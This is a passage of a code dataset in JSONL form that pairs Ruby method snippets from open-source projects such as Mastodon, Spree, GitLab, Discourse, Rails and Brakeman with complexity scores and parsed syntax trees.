\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"links\"]}]}]}","id":"b33e8098-97f8-4dc4-a86c-8401ed2ce2d6"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/vote_serializer.rb","start_line":24,"raw_source":"def in_reply_to\n ActivityPub::TagManager.instance.uri_for(object.poll.status)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"in_reply_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"poll\"]},\"status\"]}]}]}","id":"b23495f8-71cc-4aeb-a95a-69839877e0a2"} {"repo_name":"spree","file_path":"./repos/spree/admin/lib/generators/spree/admin/scaffold/scaffold_generator.rb","start_line":17,"raw_source":"def scaffold\n @resource_name = resource_name = args.first # eg. Spree::Property\n\n @plural_name = resource_name.demodulize.underscore.pluralize # eg. properties\n @singular_name = resource_name.demodulize.underscore # eg. property\n\n empty_directory \"app/views/spree/admin/#{@plural_name}\"\n\n # controller\n template 'controller.rb', \"app/controllers/spree/admin/#{@plural_name}_controller.rb\"\n\n # views\n template 'views/index.html.erb', \"app/views/spree/admin/#{@plural_name}/index.html.erb\"\n template 'views/new.html.erb', \"app/views/spree/admin/#{@plural_name}/new.html.erb\"\n template 'views/edit.html.erb', \"app/views/spree/admin/#{@plural_name}/edit.html.erb\"\n\n # partials\n template 'views/_table_header.html.erb', \"app/views/spree/admin/#{@plural_name}/_table_header.html.erb\"\n template 'views/_table_row.html.erb', \"app/views/spree/admin/#{@plural_name}/_table_row.html.erb\"\n template 'views/_filters.html.erb', \"app/views/spree/admin/#{@plural_name}/_filters.html.erb\"\n template 'views/_form.html.erb', \"app/views/spree/admin/#{@plural_name}/_form.html.erb\"\n\n # routes\n insert_into_file 'config/routes.rb', after: \"Spree::Core::Engine.add_routes do\\n\" do\n <<-ROUTES.strip_heredoc.indent!(4)\n namespace :admin do\n resources :#{@plural_name}\n end\n ROUTES\n end\n end","complexity_score":25.73,"ast_json":"{\"type\":\"def\",\"children\":[\"scaffold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource_name\",{\"type\":\"lvasgn\",\"children\":[\"resource_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"first\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@plural_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_name\"]},\"demodulize\"]},\"underscore\"]},\"pluralize\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@singular_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_name\"]},\"demodulize\"]},\"underscore\"]}]},{\"type\":\"send\",\"children\":[null,\"empty_directory\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/controllers/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"_controller.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/index.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/index.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/new.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/new.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/edit.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/edit.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/_table_header.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/_table_header.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/_table_row.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/_table_row.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/_filters.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/_filters.html.erb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"views/_form.html.erb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/views/spree/admin/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"/_form.html.erb\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"insert_into_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"str\",\"children\":[\"Spree::Core::Engine.add_routes do\\n\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" namespace :admin do\\n\"]},{\"type\":\"str\",\"children\":[\" resources :\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plural_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]},\"strip_heredoc\"]},\"indent!\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}","id":"b5313d27-c32d-445b-bce0-2b8efacd5f1c"} {"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/orders/find_complete.rb","start_line":58,"raw_source":"def by_number(orders)\n return orders unless number?\n\n orders.where(number: number)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"by_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"orders\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orders\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[null,\"number\"]}]}]}]}]}]}","id":"f09cd7b6-3bdf-4c8b-8aca-6138f10d5929"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/web_ide/default_oauth_application.rb","start_line":24,"raw_source":"def reset_oauth_application_settings\n return unless oauth_application\n\n oauth_application.update!(default_settings)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_oauth_application_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_application\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oauth_application\"]},\"update!\",{\"type\":\"send\",\"children\":[null,\"default_settings\"]}]}]}]}","id":"8f641718-1ea1-47ca-ad2d-e72ace253489"} {"repo_name":"forem","file_path":"./repos/forem/app/models/notification_subscription.rb","start_line":16,"raw_source":"def self.for_notifiable(notifiable = nil, notifiable_type: nil, notifiable_id: nil)\n notifiable_type ||= notifiable&.class&.polymorphic_name\n notifiable_id ||= notifiable&.id\n\n return none if !notifiable_type || !notifiable_id\n\n where(notifiable_type: notifiable_type, notifiable_id: notifiable_id)\n end","complexity_score":12.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"for_notifiable\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"notifiable\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"notifiable_type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"notifiable_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notifiable_type\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"class\"]},\"polymorphic_name\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notifiable_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable_type\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notifiable_id\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_type\"]},{\"type\":\"lvar\",\"children\":[\"notifiable_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifiable_id\"]},{\"type\":\"lvar\",\"children\":[\"notifiable_id\"]}]}]}]}]}]}","id":"e4e89862-c650-41d7-88d1-714b7fc41807"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/todo_dir.rb","start_line":30,"raw_source":"def read(cop_name)\n path = path_for(cop_name)\n\n File.read(path) if File.exist?(path)\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"path_for\",{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},null]}]}]}","id":"a73b0f65-e3e8-4331-a0b7-f3db9aedf0a1"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/guilded/guilded_provider.rb","start_line":35,"raw_source":"def self.generate_guilded_message(post)\n topic = post.topic\n category = \"\"\n if topic.category\n category =\n (\n if (topic.category.parent_category)\n \"[#{topic.category.parent_category.name}/#{topic.category.name}]\"\n else\n \"[#{topic.category.name}]\"\n end\n )\n end\n display_name = DiscourseChatIntegration::Helper.formatted_display_name(post.user)\n\n icon_url =\n if (url = (SiteSetting.try(:site_logo_small_url) || SiteSetting.logo_small_url)).present?\n \"#{Discourse.base_url}#{url}\"\n end\n\n message = {\n embeds: [\n {\n title:\n \"#{topic.title} #{(category == \"[uncategorized]\") ? \"\" : category} #{topic.tags.present? ? topic.tags.map(&:name).join(\", \") : \"\"}\",\n url: post.full_url,\n description:\n post.excerpt(\n SiteSetting.chat_integration_guilded_excerpt_length,\n text_entities: true,\n strip_links: true,\n remap_emoji: true,\n ),\n footer: {\n icon_url: ensure_protocol(post.user.small_avatar_url),\n text: \"#{display_name} | #{post.created_at}\",\n },\n },\n ],\n }\n\n message\n end","complexity_score":51.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_guilded_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"parent_category\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"parent_category\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"display_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Helper\"]},\"formatted_display_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"icon_url\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"try\",{\"type\":\"sym\",\"children\":[\"site_logo_small_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"logo_small_url\"]}]}]}]}]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embeds\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"==\",{\"type\":\"str\",\"children\":[\"[uncategorized]\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"category\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"tags\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"full_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"excerpt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"chat_integration_guilded_excerpt_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_entities\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_links\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remap_emoji\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"footer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon_url\"]},{\"type\":\"send\",\"children\":[null,\"ensure_protocol\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"small_avatar_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"display_name\"]}]},{\"type\":\"str\",\"children\":[\" | \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"created_at\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"b83bc346-bf6b-4c17-9dda-f0ce4739a73a"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/translation.rb","start_line":80,"raw_source":"def self.credits_available_for_topic_localization?\n credits_available_for_persona_ids?(\n [\n SiteSetting.ai_translation_topic_title_translator_persona,\n SiteSetting.ai_translation_post_raw_translator_persona,\n ],\n )\n end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"credits_available_for_topic_localization?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"credits_available_for_persona_ids?\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_translation_topic_title_translator_persona\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_translation_post_raw_translator_persona\"]}]}]}]}","id":"a1f8dec0-dcfc-4d83-bca2-80cacf8dbfa8"} {"repo_name":"forem","file_path":"./repos/forem/app/services/users/suggest_for_sidebar.rb","start_line":28,"raw_source":"def generate_cache_name\n \"tag-#{given_tag}-user-#{user.id}-#{user.last_followed_at}/tag-follow-suggestions\"\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_cache_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tag-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"given_tag\"]}]},{\"type\":\"str\",\"children\":[\"-user-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"last_followed_at\"]}]},{\"type\":\"str\",\"children\":[\"/tag-follow-suggestions\"]}]}]}","id":"cb65e25e-22c8-4098-85af-96eadf7a5287"} {"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/logging_test.rb","start_line":403,"raw_source":"def test_enqueue_at_log_level\n @logger.level = WARN\n HelloJob.set(wait_until: 24.hours.from_now).perform_later \"Cristian\"\n assert_no_match(/HelloJob/, @logger.messages)\n assert_empty @logger.messages\n\n @logger.level = INFO\n LoggingJob.set(wait_until: 24.hours.from_now).perform_later \"Dummy\"\n assert_match(/Enqueued LoggingJob \\(Job ID: .*\\) to .*? at.*Dummy/, @logger.messages)\n end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enqueue_at_log_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"const\",\"children\":[null,\"WARN\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_until\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]},\"from_now\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"Cristian\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HelloJob\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"const\",\"children\":[null,\"INFO\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_until\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]},\"from_now\"]}]}]}]},\"perform_later\",{\"type\":\"str\",\"children\":[\"Dummy\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Enqueued LoggingJob \\\\(Job ID: .*\\\\) to .*? at.*Dummy\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]}","id":"5ddf3a40-397e-44c1-b686-602ea5a30a19"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/sharing/work_packages/share_modal.rb","start_line":36,"raw_source":"def initialize(work_package)\n @entity = work_package\n @title = I18n.t(\"js.work_packages.sharing.title\")\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@entity\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.work_packages.sharing.title\"]}]}]}]}]}","id":"af963979-fac2-41b8-acae-8f15350bb3dc"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":37,"raw_source":"def test_CVE_2015_3226_4_2_1\n before_rescan_of \"Gemfile\", \"rails4\" do\n replace \"Gemfile\", \"4.0.0\", \"4.2.1\"\n end\n\n assert_version \"4.2.1\"\n assert_warning :type => :warning,\n :warning_code => 87,\n :fingerprint => \"6c2281400c467a0100bcedeb122bc2cb024d09e538e18f4c7328c3569fff6754\",\n :warning_type => \"Cross-Site Scripting\",\n :line => 4,\n :message => /^Rails\\ 4\\.2\\.1\\ does\\ not\\ encode\\ JSON\\ keys\\ \\(C/,\n :confidence => 0,\n :relative_path => \"Gemfile\",\n :user_input => nil\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2015_3226_4_2_1\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"rails4\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.2.1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"4.2.1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[87]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"6c2281400c467a0100bcedeb122bc2cb024d09e538e18f4c7328c3569fff6754\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Rails\\\\ 4\\\\.2\\\\.1\\\\ does\\\\ not\\\\ encode\\\\ JSON\\\\ keys\\\\ \\\\(C\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"Gemfile\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"db683694-f113-498c-8ad1-76b45d771d5f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/modify_sidekiq_middleware.rb","start_line":39,"raw_source":"def on_send(node)\n return unless modifies_sidekiq_middleware?(node)\n\n add_offense(node) do |corrector|\n 